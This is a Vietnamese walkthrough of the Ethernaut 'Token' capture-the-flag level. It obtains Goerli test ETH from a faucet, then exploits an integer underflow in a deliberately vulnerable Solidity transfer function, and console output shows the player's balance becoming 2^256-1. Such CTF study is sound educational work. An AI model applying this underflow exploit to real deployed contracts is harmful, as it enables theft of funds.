

## Token


1. Thực hiện việc kiểm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

## Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



`0x92141B14ddB92C256eFB3f1F464b042164570Af9`

- + Sau đó start Mining:

# Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4



Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

# Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

## Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9  
Amount: 0.037 GÖETH  
Timeout: 2023-08-11 20:21 (23h 47min)  
Captcha:



Tôi không phải là người  
máy



reCAPTCHA  
Bảo mật - Điều khoản

Claim Rewards

# Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

## Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9  
Amount: 0.037 GÖETH  
Timeout: -

Claim Transaction has been confirmed in block #9494425!

TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a



1,713

Or support this faucet by sharing your result with a



Tweet



Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

## 2. Xác định yêu cầu đề bài:

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

What is an odometer?

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

    mapping(address => uint) balances;
    uint public totalSupply;

    constructor(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}
```

### 3. Giải quyết bài toán

```
function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}
```

Ta có thể thấy rằng số lượng thông báo của player (hay msg.sender) được -= \_value  
 Nên ta có thể thử với \_value = -1 thì  
 $\text{balances[msg.sender]} = 20 - (-1) = 21$

```
> await contract.transfer('0x92141814ddB92C256eFB3f1F464b042164570Af9', -1)
```

```
✖ ▶ Uncaught Error: value out-of-bounds 31a04b0.....4879ae8b0d945b.js:2
(argument="_value", value=-1, code=INVALID_ARGUMENT, version=abi/5.7.0)
at <anonymous>:1:16
```

```
>
```

=> Xảy ra lỗi, vì uint256 chỉ chạy các số từ 0 ->  $2^{256}-1$  nên không sử dụng được giá trị -1  
 Thử với các số khác trong phạm vi đó.

Dựa vào gợi ý về odometer ta có thể liên tưởng tới việc tràn số => nếu ta nhập vào  
 \_value một giá trị > giá trị của balances[msg.sender] thì xảy ra việc tràn số  
 và cũng tương tự với balances[\_to] => address nhập vào phải là một address khác không  
 phải player

Ta nhập bù giá trị address và \_value là một số >21

```
> await contract.transfer('0xD2e5e0102E55a5234379DD796b8c641cd5996Efd', 21)
↳ Sent transaction https://goerli.etherscan.io/tx/0xf5768be...31a04b0.....4879ae8b0d945b.js:1
o/tx/0xf5768be...
↳ Mined transaction https://goerli.etherscan.io/tx/0xf5768be...31a04b0.....4879ae8b0d945b.js:1
o/tx/0xf5768be...
{tx: '0xf5768be8b2c116cf04a88e6780e00f7263d767e193e4fd8bfee5306816da20fc', receipt: {...}, Logs: Array(0)}
> await contract.balanceOf(player).then(v => v.toString())
'115792089237316195423570985008687907853269984665640564039457584007913129639935'
```

=> Ta được số lượng thông báo là một số khổng lồ, cụ thể là  $-1$  hay  $2^{256}-1$   
Sau đó thực hiện Submit bài toán

[illegible]